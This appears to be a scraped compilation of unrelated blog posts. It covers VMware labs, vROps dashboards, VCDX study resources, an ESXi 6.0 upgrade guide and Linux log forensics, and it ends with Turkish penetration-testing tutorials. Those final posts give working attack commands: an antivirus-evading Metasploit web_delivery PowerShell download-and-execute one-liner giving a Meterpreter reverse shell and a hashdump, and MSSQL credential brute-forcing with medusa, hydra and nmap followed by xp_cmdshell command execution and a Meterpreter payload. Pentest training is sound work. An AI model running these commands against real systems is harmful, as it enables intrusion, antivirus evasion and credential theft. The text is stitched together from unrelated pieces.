VMware Hands-on Labs

It always surprises me how few customers are aware of the Hands-on Labs. The labs are full installations of VMware software running in VMware’s cloud, accessible from any browser and completely free for anyone to use.

Each self-paced lab is guided with a step-by-step lab manual. You can follow the manual from start to finish for a complete look at the specific software product. Alternatively, you can focus on specific learning areas due to the modular structure of the lab manual. You can even ignore the manual completely and use the lab as a playground for self-directed study.

You can give the labs a try here: http://labs.hol.vmware.com/

Custom Views and Dashboards in vRealize Operations

This post covers a few of the most common questions my customers ask me as I demonstrate what you can do with vROps. I’m going to take you through an example of needing to frequently check the CPU ready % of your VMs – this was my customer’s most recent request, but know that you can make this happen for any metric collected by vROps.

First, we’re going to create a custom view for CPU Ready % by going to Content>Views, then clicking on the green Plus to add a new View.


I named this one “Custom-CPU Ready” and gave it a description.


Next, pick what our View looks like. In this case, I want to see all of the data in a list format, so I pick List.


Now to select the subjects – these are the objects that the View will be looking at. We want CPU Ready % on Virtual Machines, so we pick the vCenter Adapter and scroll down until we find Virtual Machine.




We now need to find the CPU Ready % metric


Double-click on it when you find it in the list on the left, it will then appear in the Data section. Change the Sort order to descending because we want to see the VM with the highest CPU ready on top.


The Availability options let you control where inside vROps the View will be usable. I lef the defaults.


You now see the custom view in the Views list.


How can we use our brand new view? We want to see the CPU ready for all VMs in the Production cluster. Go to Environment, then drill down into the vSphere World until you reach the Production cluster. Click on the Details tab, you can then scroll down and find the custom View that we created. Click on it and all of your VMs show up, sorted by highest CPU ready.



Let’s say this is a metric that you look at at daily or multiple times a day. You can create a custom dashboard so the metric is immediately visible if you’re using vROps Advanced.

To create a new dashboard, from the Home menu, click Actions, then Create Dashboard


Name the dashboard and select a layout.


We want to show a View in the widget, so we drag View over into the right pane.


Click the Edit icon in the blank View to customize it.


Click on Self Provider to allow us to specify the Production Cluster object on the left, then select our Custom CPU Ready View on the right and click Save.


The dashboard is now ready. The CPU Ready for the Production VMs will now show up in the dashboard.



The journey to achieving the VCDX certification is multifaceted, requiring highly developed skills in several areas. To give guidance and structure to my approach, I am compiling a reference library in addition to some of the great resources provided by the VMware community.


The VCDX Program
Handbook & Application
Design Defense Blueprint
Preparing for the VCDX
Exam Language Options
VCDX Community Resources

Official VMware Communities Page
Gregg Robertson – VCDX Resource Page, VCDX-PREP (Links to many of the VMware BP white papers, Gregg is also leading the EMEA VCDX vBrownbag 2015 study group)
Craig Kilborn – VCDX paying it forward
Derek Seaman – VCDX-link-o-rama
Art of IT Infrastructure Design: The Way of the VCDX – Panel
Preparing for the VCDX Defense Panel
VCDX Success Videos
VCDX Boot Camp Slide Deck
VCDX Boot Camp Videos
VCDX Study Guides & Books
VCDX Holder Blog Resources (tagged “VCDX” search)

Josh Odgers – http://www.joshodgers.com
Rene Van Den Bedem – vcdx133.com
Magnus Andersson – vcdx56.com
Tim Antonowicz – whiteboardninja.wordpress.com
Chris Colotti – http://www.chriscolotti.us
Josh Coen – http://www.valcolabs.com
Brian Suhr – http://www.virtualizetips.com
Frank Denneman – frankdenneman.nl
Duncan Epping – http://www.yellow-bricks.com
Jason Nash – jasonnash.com
Michael Webster – longwhiteclouds.com
Jason Boche – http://www.boche.net
Mike Brown – http://www.vcdx71.com
Hersey Cartwright – http://www.vhersey.com
James Charter – http://www.jamescharter.com
Hugo Phan – vmwire.com
Joep Piscaer – http://www.virtuallifestyle.nl
Tom Ralph – virtualserverguy.com
Derek Seaman – http://www.derekseaman.com
Jason Shiplett – blog.shiplett.org
Kenny Garreau – dudewheresmycloud.com
Joseph Griffiths – blog.jgriffiths.org
Ray Heffer – http://www.rayheffer.com
Viktor van den Berg – http://www.viktorious.nl
Harsha Hosur – harshahosur.com
Kenneth van Ditmarsch – virtualkenneth.com
Chris Wahl – wahlnetwork.com
Safouh Kharrat – http://www.safouh.com
Chris Kranz – http://www.wafl.co.uk
Artur Krzywdzinski – vmwaremine.com
Joe Silvagi – http://www.vmprime.com
Reference Documents:

Design Defense Blueprint
Cloud Architecture Tool Kit
Handbook & Application
Togaf 9 Resources
VMware vSphere Best Practise Guides – mainly information from my VCAP5-DCD study notes.
Books: Most of these i’ve read a few times over and a few which I have only covered lightly. There is only so much you can store mentally from just reading. My personal study method is to: Read, comprehend, write, evaluate, lab (if required). The more I can do of this the better. Its a fairly logical approach which has helped me in the past.

vSphere 5.1 Clustering Deepdive – Duncan Epping and Frank Denneman
VMware vSphere Security Cookbook – Mike Greer
VMware vCloud Security – Prasenjit Sarkar
VMware vSphere Design SE – Scott Lowe, Forbes Guthrie and Kendrik Coleman
The Art of Network Architecture: Business Driven Design – Russ White and Denise Donohue
Virtualising Microsoft Business Critical Applications on VMware vSphere – Matt Liebowitz and Alexander Fontana
Networking for VMware Administrators – Chris Wahl and Steve Pantol
VMware vCloud Architecture Toolkit (vCAT) VMware Press : Technical and Operational Guidance for Cloud Success : vCAT Team
Troubleshooting vSphere Storage – Mike Preston
VMware vSphere Resource Management – Jonathan Frappier
Managing and Optimising VMware vSphere – Sean Crookston and Harley Stagner
Storage Implementation in VSphere 5.0 – Mostafa Khalil
Data Center Virtualization Fundamentals: Understanding Techniques and Designs for Highly Efficient Data Centers with Cisco Nexus, UCS, MDS, and Beyond
VMware vSphere Design Best Practises – Brian Bolander
Virtualizing SQL Server with VMware: Doing it Right (Vmware Press Technology) – Michael Corey, Jeff Szastak, Michael Webster
VMware vSphere 5, Building a Virtual Datacenter: Integration into the Datacenter – Eric Mallie, Rene-Francois Menneceir
Mastering vSphere 5.5 – Scott D Lowe, Nick Marshall, Forbes Guthrie, Matt Liebowitz and Josh Artwell

VMUG Turkey Webcast

Join us for the upcoming VMUG Turkey Webcast! This is a great opportunity to come together with your fellow VMware users to discuss virtualization trends, best practices, and the latest technology!

Be sure to visit the VMUG Turkey Workspace and subscribe to our listserv! Connect with your fellow VMUG members in the forum, ask and answer questions about VMware, and get involved in your VMUG community.

Registration is open and included as part of member benefits for all VMUG members.

Webcast Topic: Virtualizing Databases: Best Practices


crop (2)

vSphere 6 is GA: The ultimate guide to upgrade your white box to ESXi 6.0

So finally VMware made vSphere 6 generally available (GA)! I already wrote about what we can expect from ESXi 6.0 in terms of white box support and using the free license, and I bet that a lot of people cannot wait to have their boxes upgraded …

In this post I will explain how you can download ESXi 6.0, what you need to take care of with regards to unsupported hardware and software, how you actually do the upgrade, and how you can build your own customized ESXi 6.0 installation ISO for new installs.

1. How to get the bits

I you have a paid vSphere license under subscription then you can download ESXi 6.0 (and all other vSphere 6 components that you are entitled to) from the My VMware Downloads page.

Even if you will use ESXi only with a free license key you will need a My VMware account for the following steps. If you are already running ESXi then you most probably already have one – if not then register now. It’s easy and free.
The free license offering has already been updated to 6.0, so you can then go to the vSphere Hypervisor page to register and download ESXi. There you will also find the license key that you need to enable the features of the free version after installation.

The ESXi installation image can be downloaded in two different formats: On the one hand there is the ISO file (named VMware-VMvisor-Installer-6.0.0-2494585.x86_64.iso) that you just burn to a CD media and use to boot your machine and install or upgrade ESXi on it. On the other hand there is the Offline Bundle (named VMware-ESXi-6.0.0-2494585-depot.zip) that you can use to update ESXi directly from the command-line using esxcli. You also need the Offline Bundle to customize the ESXi installation and build your own installation ISO (e.g. with additional drivers).

Unfortunately the Offline Bundle is – right now – only available to you if you have a paid vSphere license under subscription registered with your MyVMware account! On the download page of the free vSphere Hypervisor you will only find the ISO file, and even if you register for a vSphere evaluation you will not be able to download the Offline Bundle, but only the ISO file.

Confused already? Here is another option: A different way to download ESXi is through the VMware Online Depot. The primary purpose of the VMware Online Depot is to serve as a synchronization source for VMware Update Manager (VUM), the product that you use to patch/update ESXi hosts that are managed centrally through vCenter. However, since it is all about patching the ESXi 6.0 GA bundle is usually not available in the Online Depot right away at the GA date, but is added there some time later (at least this is how VMware handled it for the release of ESXi 5.5).
My new service, the ESXi Patch Tracker, can notify you once the ESXi 6.0 GA bundle has been added to the VMware Online Depot, because it does nothing else than querying exactly that. I suggest that you subscribe to its RSS feeds and/or follow its Twitter Bot @ESXiPatches to get the news just in time!
Once the ESXi GA Imageprofile is available in the VMware Online Depot you can upgrade your host directly from it provided that your host has a direct Internet connection. For an offline upgrade you can then also use my ESXi-Customizer-PS script to create both the ESXi 6.0 installation ISO and Offline Bundle. But right now this is not yet an option, and I will explain that in a later post to not further confuse you 🙂

2. Beware of driver blacklisting: Identify your devices and drivers used

Standard disclaimer / warning

The workaround described in the following sections and any software package that you install through the V-Front Online Depot are neither endorsed nor supported by VMware! Use at your own risk and never on production systems!

When VMware released ESXi 5.5 in 2013 they decided to drop some drivers for NICs from it that are commonly used in consumer grade hardware: r8168 and r8169 for Realtek chips, sky2 for Marvell chips (and less common: s2io for Neterion 10Gb cards). Luckily you could still keep them installed when upgrading from ESXi 5.1 to 5.5 or install them later on top of ESXi 5.5.

With ESXi 6.0 VMware goes a step further and actively prevents installing these drivers by using a blacklisting method that is based on VIB package dependencies! The ESXi system package misc-drivers is flagged to replace the above mentioned driver packages which means that you cannot install misc-drivers and any of these drivers – misc-drivers though is absolutely necessary for ESXi so you must install that!
As a workaround I created a new package that just includes the driver files of the net-r8168, net-r8169, net-sky2 and net-s2io packages, but uses a new and different name: net51-drivers.

So, are you using one of the blacklisted drivers? Find out by running the command
esxcli network nic list
in an ESXi shell. This command will list all the NICs that are in use on your system together with the associated driver name (in the third column). If this command lists r8168, r8169, sky2 (or s2io) for you then you need to install my anti-blacklist package like this – before upgrading to ESXi 6.0:
# Lower the system’s acceptance level to allow Community supported packages
esxcli software acceptance set –level=CommunitySupported
# open firewall for outgoing http requests:
esxcli network firewall ruleset set -e true -r httpClient
# Install net51-drivers from the V-Front Online Depot
esxcli software vib install -d https://vibsdepot.v-front.de -n net51-drivers
# Reboot
Please note that the net51-drivers package will also replace the blacklisted packages, but this is not a problem, because it includes the exact same files. So after a reboot your host will work exactly as before.

Another note: In my V-Front Online Depot there is also an updated driver for Realtek 8168 based NICs available that provides better compatibility with newer Realtek cards than the ESXi 5.1 builtin r8168 driver. If you have already installed this one then the workaround explained here is not necessary, because it uses a different package name (net55-r8168) that is not on the blacklist.

3. Check installed packages and take appropriate actions

Before doing the actual upgrade it’s a good idea to check if you have other officially unsupported ESXi packages installed on your host, and how they will behave with ESXi 6.0. Let’s go through the packages that are available through the V-Front Online Depot:
net55-r8168: As stated above it is safe to keep this driver with ESXi 6.0 if it works well for you.
net-e1000e: This driver by GLRoman updates the ESXi builtin e1000e driver and supports additional Intel Gigabit NICs. In ESXi 6.0 VMware has also updated its own e1000e driver, and – as fas as I could check that – the VMware supplied version in ESXi 6.0 now supports the same set of devices as GLRoman’s driver. However, please do not uninstall GLRoman’s driver prior to the ESXi upgrade, because this could potentially render your host unable to boot (because of “no supported NIC found”). Instead follow the clean-up steps below (section 5) after the upgrade!
net-tulip: This package allows to run nested ESXi hosts under Microsoft’s Hyper-V. I have not tested that, but I expect that it is safe to keep that and that it will still work with ESXi 6.0.
sata-xahci: This package enables support for additional SATA AHCI controllers. It is still required with and compatible with ESXi 6.0. Keep it if you have that installed.
cpu-microcode: This package updates CPU microcode files. It is incompatible with ESXi 6.0, but you do not need to uninstall it prior to the upgrade, because ESXi 6.0 comes with a VMware-supplied package with the same name, and that will just replace the community supported package.
ProFTPD: I quickly tested this FTP server with ESXi 6.0 and it worked. However, some users reported that they had issues with this package on ESXi 5.5 that affected system stability, so I no longer recommend using it. Uninstall it with
esxcli software vib remove -n ProFTPD
(no reboot required)
esxcli-shell: This is an esxcli plugin that allows you to run any ESXi shell command through esxcli. It still works with ESXi 6.0, and it is safe to keep it. However, I wonder for what purposes this can still be useful (Please let me know if you use it!)
fw-ntpd: Adds an ESXi firewall rule to allow incoming NTP traffic. The firewall subsystem has not changed in ESXi 6.0, so this package is still compatible and functional with 6.0.
esx-tools-for-esxi: The VMware Tools for nested ESXi hosts is a VMware fling that is very useful for virtual ESXi hosts in lab environments. Actually VMware also finds this so useful that it is now officially included in ESXi 6.0. Unfortunately an upgrade to ESXi 6.0 will not remove the old fling version, so I recommend doing this manually before:
esxcli software vib remove -n esx-tools-for-esxi
(requires a reboot)
vmware-esx-dvfilter-maclearn: Another cool VMware fling that is very useful in nested environments. According to William Lam it is still needed in ESXi 6.0, but none of us has already tested if it is actually still working with ESXi 6.0. At least it survives an upgrade, and it looks like it is safe to keep it.
ib-opensm and iperf: Raphaël Schitz – the author of these packages – will test them on ESXi 6.0 and let us know if they are compatible. I cannot make a recommendation for them right now, sorry!

If you are unsure then you can check whether you have any of these packages installed by running
esxcli software vib list | less
in an ESXi shell. This will create a list of all installed packages that you can scroll through using the cursor keys – press Q to return to the command prompt. You can also search for a specific package with
esxcli software vib list | grep -i

4a. Upgrade to ESXi 6.0 using the Offline Bundle

So, now we are finally ready to upgrade your white box to ESXi 6.0! If you managed to get your hands on the Offline Bundle then you can use the following procedure:

1. Upload the ESXi 6.0 Offline Bundle (VMware-ESXi-6.0.0-2494585-depot.zip) to the root directory of a datastore that is accessible for your host. Use the the legacy vSphere Client like this:

Host Configuration – Storage – Datastores – Browse Datastore…: Note the datastore name (“VMStore03” in this example)!

In the datastore browser window select the root directory (/) on the left, click on the Upload icon and select Upload File… from the dropdown list. A file selection dialog will pop up now: Select the Offline Bundle from your local hard disk and it will be uploaded to the datastore then.

2. Log in to an ESXi shell and run the upgrade like this:
esxcli software profile update -d /vmfs/volumes/VMStore03/VMware-ESXi-6.0.0-2494585-depot.zip -p ESXi-6.0.0-2494585-standard
In the command string replace VMStore03 with the name of your datastore! Wait for the command to complete successfully. Then reboot and enjoy!

4b. Upgrade to ESXi using the installation ISO

If you are unable to get your hands on the ESXi 6.0 Offline Bundle and only have the ISO file to your avail then you can still upgrade your host by booting it from the ISO and following the built-in upgrade wizard. I have quickly tested that method with a nested ESXi 5.5 host, and it yielded the same result as the Offline Bundle method – the net51-drivers and sata-xahci packages that I installed before the upgrade were preserved!

Here are the steps:

Boot the machine from the ESXi 6.0 installation ISO and advance to this screen:

Press “Cursor Down” and Space here to select “Upgrade”, press Enter and confirm on the next screen by pressing F11:

Watch the magic happen …

… and finally …

press Enter to reboot to the upgraded system.

4c. If something goes wrong

Please note: If something goes wrong and your system turns out to be unbootable after the ESXi upgrade then it should recover itself by rebooting again from the alternate bootbank that still contains the old system state. You can also manually fail back to the old state by following the KB article Reverting to a previous version of ESXi.

5. Clean-up for net-e1000e users

If you were using GLRoman’s net-e1000e package before the upgrade then you are still using it after the upgrade, although the ESXi 6.0 built-in e1000e driver supports the same set of devices. GLRoman’s driver will probably also work fine with 6.0, but if you want to maximize the supportability of your hardware then you can replace it with the official VMware driver package – provided that you have the Offline Bundle available. Run the following command to do this:
esxcli software vib install -d /vmfs/volumes/VMStore03/VMware-ESXi-6.0.0-2494585-depot.zip -n net-e1000e
Use the same path to the ESXi 6.0 Offline Bundle (following -d) that you were using for the upgrade! A reboot is required.

6. Create a custom installation ISO for ESXi 6.0

Do you prefer to do a clean install of ESXi 6.0 (instead of an upgrade), or do you want to install a new white box? My ESXi-Customizer-PS script will help you to create a customized installation ISO that has the necessary packages already included! However, right now this is only possible if you have the ESXi 6.0 Offline Bundle available. Run a command like
C:\scripts\ESXi-Customizer-PS-v2.3.ps1 -izip C:\TEMP\VMware-ESXi-6.0.0-2494585-depot.zip -vft -load net51-drivers,sata-xahci
in a PowerCLI session. You need to specify the full path to the ps1-script (at the beginning) and the full path to the Offline Bundle (following the -izip switch)! In this example the script is stored in the directory C:\scripts and the Offline Bundle is in C:\TEMP.

This command will create a customized ESXi 6.0 installation ISO in the current directory that has the net51-drivers and sata-xahci packages built-in. You can as well add any of the other packages that are available in the V-Front Online Depot by specifying their names in a comma separated list after the -load switch!

7. One more thing …: USB 3.0 support

A while ago I wrote about USB 3.0 support being introduced in ESXi 5.5. Good news: This is also available in ESXi 6.0. Even better: On my test system the xhci-xhci driver that provides this support was loaded automatically on boot, so the workaround of editing the local boot script /etc/rc.local.d/local.sh is no longer needed.

8. To be continued / updated

This is the first version of my Ultimate guide to upgrade your white box to ESXi 6.0 – I hope you like it! I will complement it with a follow-up post as soon as the ESXi 6.0 GA Imageprofile is available in the VMware Online Depot (which will make upgrading ESXi and using ESXi-Customizer-PS even easier). And I will update this post with whatever information adds value. Please comment if you miss anything or have specific questions!

by Andreas Peetz.

VMware Türkiye Kullanıcı Grubu Twitter Sayfası Açıldı

Yurtdışındaki Vmware kullanıcılarının Twittter’da aktif bir şekilde organizasyonları toplantıları seminerleri Twitter üzerinde paylaştıkları ve kendi ülkelerindeki Vmware kullanıcılarını biraraya getirebildiklerini görmem sonucu ve Türkiye’de Twitter üzerinde Vmug etkin bir yönetim eksikliği nedeniyle insiyatif kullanarak
VMware Türkiye Kullanıcı Grubu Twitter Sayfasını oluşturdum. Bu sayfa üzerinde VMware Türkiye Kullanıcıları için Türkiyede VMware konusunda haberleri yazılan makaleleri Türkiye’de yapılacak Vmware etkinliklerini organizasyonlarını elimden geldiğince paylaşacağım.

Takiplerinizi bekliyorum


crop (2)

Linux Sistemlerde Log Dosyaları Üzerinden Adli Bilişim İncelemesi

Bu makalede bir Linux sistem üzerinde gerçekleştirilecek adli bilişim incelemelerinde incelenmesi gereken log dosyalarından bazılarına değineceğim. İlk olarak kullanıcıların aktivitelerinin kayıt altına alındığı loglardan başlayalım. Linux işletim sisteminde kullanıcının hareketlerine ilişkin olayların loglandığı üç temel dosya vardır.



“utmp” ve “wtmp” dosyalarında kulllanıcıların oturum açma ve kapatma kayıtları tutulur ve bu kayıtlar binary (ikili) formatındadır. “utmp” dosyasında sadece aktif sistem oturumlarına ilişkin bilgiler yer alırken, “wtmp” dosyasında geçmişe ait, artık aktif olmayan oturumlara ait bilgiler de yer alır. Her iki dosyaya da last komutunu -f parametresi ile kullanarak erişmek mümkündür. Aşağıdaki ekran görüntüsünde bu konutun örnek bir çıktısı yer almaktadır.


lastlog dosyası binary bir dosyadır ve her bir kullanıcının en son ne zaman hangi IP adresinden oturum açtığını da gösterir. Çalışan sistem üzerinde “lastlog” komutu çalıştırılarak dosyanın içeriğine ulaşılabilir. Bu dosyayı offline analiz etmek için ise http://www.hcidata.info/lastlog.htm adresindeki PERL script kullanılabilir. Aşağıdaki ekran görüntüsünde örnek bir lastlog çıktısını görebilirsiniz.


Kullanıcılar tarafından önceden girilen komutların neler olduğunu öğrenmek içinise lastcomm komutunu kullanabiliriz. Örneğin halil isimli kullanıcı tarafından sistemde çalıştırılan geçmiş komutların listesini öğrenmek için lastcomm halil komutunu çalıştırmamız yeterli. Aşağıdaki resimde örnek olarak çalıştırdığımız bu komutun çıktısı ve çıktıda yer alan alanların ne anlama geldiği gösterilmiştir.

Linux sistemlerde önemli loglama bileşenlerinden birisi de Syslog’dur. Linux sistemlerdeki sistem loglarının bir çoğu /var/log dizini altında yada bu dizin altındaki alt dizinlerde tutulur. Syslog istemci/sunucu mimaride çalışır ve hem yerel he mde uzak bir sunucuya logların gönderilmesine imkan tanır. Bununla birlikte standalone çalışan Linux sistemlerin çoğunda loglar yerelde tutulur. Syslog konfigurasyonuna ilişkin detaylar /etc/syslog.conf dosyasında yer alır.
Syslog’da olayların türleri ve öncelik seviyerleri aşağıdaki tablolarda gösterildiği şekilde sınıflandırılır.


İlgili konfigürasyon dosyası olan syslog.conf dosyasında tanımlar aşağıdaki şekilde yapılır.

sınıf.seviye aksiyon

▪mail.info /var/log/maillog

Uzak sunucudaki Syslog’a yazmak için aksiyon kısmıda @ işareti ile birlikte uzak sunucunun IP adresini yazmak gerekiyor.

Örneğin aşağıdaki gibi bir satır kernel’in kritik seviyedeki olaylarını hem root kullanıcısının consoluna hem de’de çalışan syslog sunucuna yazar;
▪kern.crit root,@

Syslog mesajları clear-text olarak UDP üzerinden uzak Syslog sunucusuna iletilir. Bir syslog mesajı genelde 5 alandan oluşan tek bir satırdır. Bu satırdaki ilk alan mesajın oluşturulduğu zamanı, ikinci alan mesajın oluşturulma saatini, üçüncü alan mesajı oluşturan bilgisayarın adını, dördüncü alan log kaydını oluşturan prosesin adını ve son alan da logun kendisini gösterir.

Adli bilişim incelemelerinde analiz edilmesinde fayda olan log dosyaları ve bu log dosyalarının hangi amaçla kullanıldığını gösteren tablo aşağıda gösterilmiştir. Canlı sistem üzerinde yapılan adli bilişim incelemelerinde bu dosyaların içindeki logları okumak için genellikle tail komutu –f parametresi ile birlikte kullanılır. Disk imajları üzerinden yapılacak incelemede ise ilgili log dosyalarının tabloda gösterilen tam yollarına gidilerek text tabanlı olan bu dosyalar analiz edilir.


Örneğin aşağıdaki ekran görüntüsünde /var/log/auth.log dosyasının içeriği analiz edilerek öğrenilen bir şifre kırma saldırısına ait izleri görebilirsiniz.


Son olarak da /var/log/kern.log dosyasından bir örnek vererek makaleyi sonlandırayım. Bu dosya işletim sisteminin çekirdeğine ilişkin olay kayıtlarının bulunduğu log dosyasıdır ve bu dosyayı analiz ederek ilgili bilgisayara herhangi bir harici diskin takılıp takılmadığı, takıldı ise ne zaman takıldığı gibi bilgilere ulaşılabiliriz. Aşağıdaki ekran görüntüsünde yer alan örnek log dosyasından da görülebileceği üzere bilgisayara içinde tek partititon olan bir tane USB flash disk bağlanmış.

Yukarıda yer alan çıktıdaki kernel: ifadesinden sonra gelen değer ilgili olayın zaman bilgisini gösterir ve çekirdeğin yüklenmesinden itibaren saniye ve milisaniye cinsinden geçen zamanı ifade eder.

Related Posts

Adli Bilişim İncelemelerinde Sorter Uygulaması İle Dosya Sınıflandırma

Bazı spesifik olaylara ilişkin adli bilişim incelemelerinde önümüze sunulan disk imajları içerisinde yer alan dosyaları hızlıca türlerine göre sınıflandırmamız gerekebiliyor. Örneğin sadece Microsoft Office dokümanları yada resim dosyaları üzerinde analiz gerçekleştirmemizin gerektiği olayları incelemek durumunda kalabiliyoruz. İşte bu durumlarda ilgili imaj içinde yer alan silinmiş veya silinmemiş, bütün dosyaları hızlıca türlerine göre ayırabilmek oldukça önemlidir.
Kaynak: Halil Öztürkçi

MSF web_delivery Modülü İle Antivirüslere Yakalanmadan Meterpreter Erişimi Elde Edilmesi

Sızma testleri sırasında antivirüslerin atlatılarak hedef sistemin ele geçirilmesi kritik bir aşamadır. Bu yazıda, MSF web_delivery istismar modülü kullanılarak Powershell tabanlı bir payload hazırlanacak ve hedef bilgisayarda Powershell komutu çalıtırılarak Meterpreter kabuğu elde edilecektir.MSF web_delivery istismar modülü, web sunucusu (Kali) üzerinden kurban sistemlere payload göndermek için kullanılır. Bu modül, kurban sistemlerde çalıştırılan bir komut ile web suncusunda kayıtlı olan zararlı yazılım çağırılarak çalıştırılması için kullanılır. Kurban işletim sisteminde kurumlarda ve son kullanıcı bilgisayarlarında en çok kullanılan anti-virüslerden biri yüklü olmasına rağmen Meterpreter bağlantısının elde edilebildiği görülecektir.Modül ile ilgili temel seçenekler aşağıdaki gibidir.

search web_delivery
use exploit/multi/script/web_delivery
show options

Modülün desteklediği 3 hedef bulunmaktadır: Python, PHP, PSH. Bu yazıda hazırlanacak olan payload, Windows istemcideki Powershell uygulaması için hazırlanacaktır. Modüle ait seçenekler aşağıdaki gibi ayarlanabilir.

set PAYLOAD windows/meterpreter/reverse_https
set LPORT 443
set TARGET 2
set SRVPORT 80
show options

Modül başlatılarak, kurban sistemde çalıştırılacak olan komut elde edilir.


Powershell komutu ile windows komut satırı ile çalıştırıldığında, Kali bilgisayarın 80. portunda çalışan web sunucuya talep yapılmakta ve bir katar (string / payload) indirilip çalıştırılmaktadır.

powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(‘′))

Böylece Kali tarafında talep yakalanmaktadır. Powershell komutunu çalıştıran kullanıcı hakları ile 32 bitlik Powershell prosesi üzerinde Meterpreter bağlantısının elde edildiği görülmektedir.

sessions -i 1
ps -U Vedat

Vedat hesabının yerel yönetici olduğu ve bir sıkılaştırma ayarının olmadığı varsayılırsa, yerel kullanıcıların parolasının elde edilebildiği görülmektedir. Meterpreter “hashdump” komutu yapısı gereği, 64 bitlik bir bilgisayarda 64 bitlik SYSTEM yetkileri ile çalışan bir proses üzerinde iken, etkin olarak çalışmaktadır.

ps -s
migrate 1868

Powershell betiği tarafından indirilen katar içeriği ( aşağıdaki gibidir.



MSSQL Veritabanı Hesabının Tespit Edilmesi ve Meterpreter Bağlantısının Elde Edilmesi

MSSQL veritabanı sızma testlerindeki ilk adımlardan birisi MSSQL yüklü sunucudaki yetkili hesapların kimlik bilgilerini öğrenmektir. Bu yazıda IP adresli makinede yetkili bir hesabın kimlik bilgisi elde edilecek ve bu bilgilerle işletim sistemi üzerinde kd çalıştırılacak ve meterpreter bağlantısı elde edilecektir. Bu işlemler 3 adımda incelenecektir.

1) MSSQL sunucunun IP adresi tespit edilecektir.
2) Veritabanı üzerinde yetkili bir hesabın kimlik bilgileri, farklı araçlarla (hydra aracı, nmap aracı, MSF mssql_login modülü) kaba kuvvet saldırıları ile elde edilecektir.
3) Elde edilen kimlik bilgilerini kullanarak NMAP ms-sql-xp-cmdshell betiği ile işletim sisteminde komut çalıştırılacak ve MSF mssql_payload modülü ile Meterpreter bağlantısı elde edilecektir.


1) MSSQL Sunucunun Tespiti

MSSQL sunucusunun Ip adresini tespit etmek için en temel yöntem 1433 portu açık olan bilgisayarları taramaktır:

nmap -sS -Pn -n –open -p 1433

Diğer yöntemler sonraki yazılarda incelenecektir.

2) MSSQL Erişim Bilgilerinin Elde Edilmesi

MSSQL veritabanına erişim sağlayabilecek hesaba ait kimlik bilgilerini elde edebilmek için root hesabının masaüstünde “kullanicilar” ve “parolalar” adlı 2 dosya oluşturulmuştur. Bu dosya içerisindeki bilgiler kullanılarak, farklı yöntemlerle MSSQL sunucuya kaba kuvvet saldırısı düzenlenecektir.


i) Medusa aracı

Medusa aracını kullanarak kaba kuvvet saldırısı aşağıdaki gibi gerçekleştirilebilir:

medusa -h -U /root/Desktop/kullanicilar -P /root/Desktop/parolalar -O /root/Desktop/medusa_sonuclar -M mssql -n 1433

Tarama sonucu root hesabının masaüstüne medusa_sonuclar olarak kaydedilmiştir:

Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına “test” kullancı adı ve “test” parolası ile giriş yapılabilir.

ii) Hydra aracı

Hydra aracını kullanarak kaba kuvvet saldırısı aşağıdaki gibi gerçekleştirilebilir. Tarama sonucu root hesabının masaüstüne hydra_sonuclar olarak kaydedilmiştir::

hydra mssql:// -L /root/Desktop/kullanicilar -P /root/Desktop/parolalar -o /root/Desktop/hydra_sonuclar

Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına “test” kullancı adı ve “test” parolası ile giriş yapılabilir.

Not: Hydra aracını diğer araçlara göre en hızlı yöntem olduğu söylenebilir.

iii) Nmap aracı

Nmap aracını kullanarak kaba kuvvet saldırısı aşağıdaki gibi gerçekleştirilebilir. Tarama sonucu root hesabının masaüstüne nmap_sonuclar olarak kaydedilmiştir:

nmap -p1433 –script ms-sql-brute –script-args userdb=/root/Desktop/kullanicilar,passdb=/root/Desktop/parolalar -oN /root/Desktop/hydra_sonuclar

Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına “test” kullancı adı ve “test” parolası ile giriş yapılabilir.

iv) MSF mssql_login modülü

MSF mssql_login auxiliary modülünü kullanarak kaba kuvvet saldırısı gerçekleştirilebilir. Modülün seçenekleri aşağıdaki gibidir:

search mssql_login
use auxiliary/scanner/mssql/mssql_login
show options

Modülün seçenekleri aşağıdaki gibi ayarlanabilir ve modül başlatılabilir:

set USER_FILE /root/Desktop/kullanicilar
set PASS_FILE /root/Desktop/parolalar
show options

Tarama sonucu aşağıdaki gibidir:

Tarama sonucundan da görüldüğü gibi, MSSQL veritabanına “test” kullanıcı adı ve “test” parolası ile giriş yapılabilir.

3) Komut Satırında Komut Çalıştırma ve Meterpreter Bağlantısı Elde Etme

Elde edilen kimlik bilgileri ile (test/test) MSSQL veritabanına giriş için Nmap betikleri ve MSF mssql_payload istismar modülü kullanılabilir.

i) Nmap aracı

Nmap aracını kullanarak işletim sistemi seviyesinde komut çalıştırılması aşağıdaki gibi gerçekleştirilebilir:

nmap -p1433 –script ms-sql-xp-cmdshell –script-args=mssql.username=test,mssql.password=test,ms-sql-xp-cmdshell.cmd=’whoami && net user’

Yukarıdaki ekran görüntüsünde 2 adet komut (“whoami” ve “net user”) çalıştırılmıştır. Bunun yerine bağlantıdaki mssql_exec modülündeki gibi paylaşımdaki zararlı bir yazılım çalıştırılabilir (start \\\paylasim$\Zararli1.exe) ve bekleyen multi/handler tarafından bu talep yakalanabilir.

ii) MSF mssql_payload modülü

MSF mssql_payload istismar modülünü kullanarak hedef sisteme Meterpreter ile bağlantı kurulabilir. Modülün seçenekleri aşağıdaki gibidir:

search mssql_payload
use exploit/scanner/mssql/mssql_payload
show options

Modülün seçenekleri aşağıdaki gibi ayarlanabilir ve modül başlatılabilir:

set USERNAME test
set PASSWORD test
show options

Modül çalıştıktan sonra MSSQLSERVER servisinin yetkileri ile Meterpreter bağlantısının açıldıüı görülmektedir:



MSF mssql_exec & Veil: MSSQL Hesabı ile Antivirüslere Yakalanmadan Meterpreter Kabuğu Elde Etme

MSF mssql_exec & Veil: MSSQL Hesabı ile Antivirüslere Yakalanmadan Meterpreter Kabuğu Elde Etme

Sızma testlerinde MSSQL üzerinde yetkili bir hesaba ait kimlik bilgileri tespit edildiği halde işletim sistemine erişim sağlanamayabilmekte veya meterpreter ile erişim sağlama ihtiyacı duyulabilmektedir. Bu yazıda MSSQL sunucu üzerinde sysadmin rolüne (veya işletim sistemi üzerinde komut çalıştırabilecek yetkilere) sahip olan bir hesaba ait bağlantı bilgileri kullanarak MSF mssql_exec modülü yardımıyla meterpreter bağlantısı elde edilecektir.

